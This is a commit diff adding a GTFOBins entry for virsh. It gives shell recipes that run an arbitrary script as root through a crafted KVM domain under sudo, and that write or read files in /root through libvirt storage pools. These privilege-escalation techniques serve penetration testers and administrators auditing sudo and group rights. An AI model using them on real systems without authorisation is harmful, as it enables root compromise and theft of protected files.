Merge branch 'Eblazquez-master'

_gtfobins/virsh.md

@@ -0,0 +1,68 @@
+---
+functions:
+  sudo:
+    - code: |
+        SCRIPT=script_to_run
+        TF=$(mktemp)
+        cat > $TF << EOF
+        <domain type='kvm'>
+          <name>x</name>
+          <os>
+            <type arch='x86_64'>hvm</type>
+          </os>
+          <memory unit='KiB'>1</memory>
+          <devices>
+            <interface type='ethernet'>
+              <script path='$SCRIPT'/>
+            </interface>
+          </devices>
+        </domain>
+        EOF
+        sudo virsh -c qemu:///system create $TF
+        virsh -c qemu:///system destroy x
+  write:
+    - description: This requires the user to be in the `libvirt` group. If the target directory doesn't exist `pool-create-as` must be run with the `--build` option. The destination file permissions can be tuned in the XML file. 
+      code: |
+        LFILE_DIR=/root
+        LFILE_NAME=file_to_write
+
+        echo 'data' > data_to_write
+
+        TF=$(mktemp)
+        cat > $TF <<EOF
+        <volume type='file'>
+          <name>y</name>
+          <key>$LFILE_DIR/$LFILE_NAME</key>
+          <source>
+          </source>
+          <capacity unit='bytes'>5</capacity>
+          <allocation unit='bytes'>4096</allocation>
+          <physical unit='bytes'>5</physical>
+          <target>
+            <path>$LFILE_DIR/$LFILE_NAME</path>
+            <format type='raw'/>
+            <permissions>
+              <mode>0600</mode>
+              <owner>0</owner>
+              <group>0</group>
+            </permissions>
+          </target>
+        </volume>
+        EOF
+
+        virsh -c qemu:///system pool-create-as x dir --target $LFILE_DIR
+        virsh -c qemu:///system vol-create --pool x --file $TF
+        virsh -c qemu:///system vol-upload --pool x $LFILE_DIR/$LFILE_NAME data_to_write
+        virsh -c qemu:///system pool-destroy x
+  read:
+    - description: This requires the user to be in the `libvirt` group.
+      code: |
+        LFILE_DIR=/root
+        LFILE_NAME=file_to_read
+
+        SPATH=file_to_save
+
+        virsh -c qemu:///system pool-create-as x dir --target $LFILE_DIR
+        virsh -c qemu:///system vol-download --pool x $LFILE_NAME $SPATH
+        virsh -c qemu:///system pool-destroy x
+---